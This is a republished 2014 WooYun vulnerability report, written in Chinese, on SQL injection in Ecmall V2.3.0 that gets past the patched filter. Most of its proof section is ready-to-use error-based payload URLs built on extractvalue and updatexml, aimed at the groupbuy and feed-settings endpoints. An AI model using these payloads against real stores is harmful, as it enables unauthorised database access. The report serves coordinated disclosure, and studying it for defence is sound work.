Ecmall V2.3.0-UTF8 正式版SQL注入漏洞打包

2015年4月24日15:33:00评论265 views字数 235阅读0分47秒阅读模式

摘要

2014-07-09：细节已通知厂商并且等待厂商处理中
2014-07-09：厂商已经确认，细节仅向厂商公开
2014-07-12：细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-09-02：细节向核心白帽子及相关领域专家公开
2014-09-12：细节向普通白帽子公开
2014-09-22：细节向实习白帽子公开
2014-10-07：细节向公众公开

漏洞概要关注数(6) 关注此漏洞

缺陷编号： WooYun-2014-67689

漏洞标题： Ecmall V2.3.0-UTF8 正式版SQL注入漏洞打包

漏洞作者： HackBraid

提交时间： 2014-07-09 11:16

公开时间： 2014-10-07 11:18

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 10

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： php源码审核 php源码分析白盒测试

2人收藏

漏洞详情

披露状态：

简要描述：

打了最新补丁，还可以绕过

详细说明：

还有两个函数可以绕过防护直接注入：

1.updatexml

2.extractvalue

所以以前出现的注入点用着两个函数就能再次注入

漏洞证明：

第一批url(店铺开启团购功能)：

URL1：

http://localhost/ecmal/upload/index.php?app=seller_groupbuy&act=drop&id=2/**/and/**/extractvalue(1,concat(0x7e,user()))#

效果：

URL2：

http://localhost/ecmal/upload/index.php?app=seller_groupbuy&act=edit&id=2/**/and/**/extractvalue(1,concat(0x7e,user()))#

URL3:

http://localhost/ecmal/upload/index.php?app=seller_groupbuy&act=start&id=2/**/and/**/extractvalue(1,concat(0x7e,user()))#

URL4:

http://localhost/ecmal/upload/index.php?app=seller_groupbuy&act=finished&id=2/**/and/**/extractvalue(1,concat(0x7e,user()))#

URL5:

http://localhost/ecmal/upload/index.php?app=seller_groupbuy&act=finished&id=2/**/and/**/extractvalue(1,concat(0x7e,user()))#

URL6:

http://localhost/ecmal/upload/index.php?app=seller_groupbuy&act=desc&id=2/**/and/**/extractvalue(1,concat(0x7e,user()))#

URL7:

http://localhost/ecmal/upload/index.php?app=seller_groupbuy&act=cancel&id=2/**/and/**/extractvalue(1,concat(0x7e,user()))#

URL8:

http://localhost/ecmal/upload/index.php?app=seller_groupbuy&act=log&id=2/**/and/**/extractvalue(1,concat(0x7e,user()))#

第二批url（开启feed功能，忘记在哪儿开启的了，参照http://**.**.**.**/bugs/wooyun-2014-065340）：

http://localhost/ecmall/index.php?app=member&act=feed_settings

payload:

code 区域

feed_config[1' or updatexml(2,concat(0x7e,(database())),0)#]=v

... ...之前爆过的都可以，以上面这些url为例。

修复方案：

过滤concat等危险字符

版权声明：转载请注明来源 HackBraid@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2014-07-09 11:24

厂商回复：

非常感谢您为shopex信息安全做的贡献
我们将尽快处理
谢谢

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2014-07-21 17:05 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦我的宝贝 | ..)

2

封贴，楼下是二货

1# 回复此人

漏洞概要 关注数(6) 关注此漏洞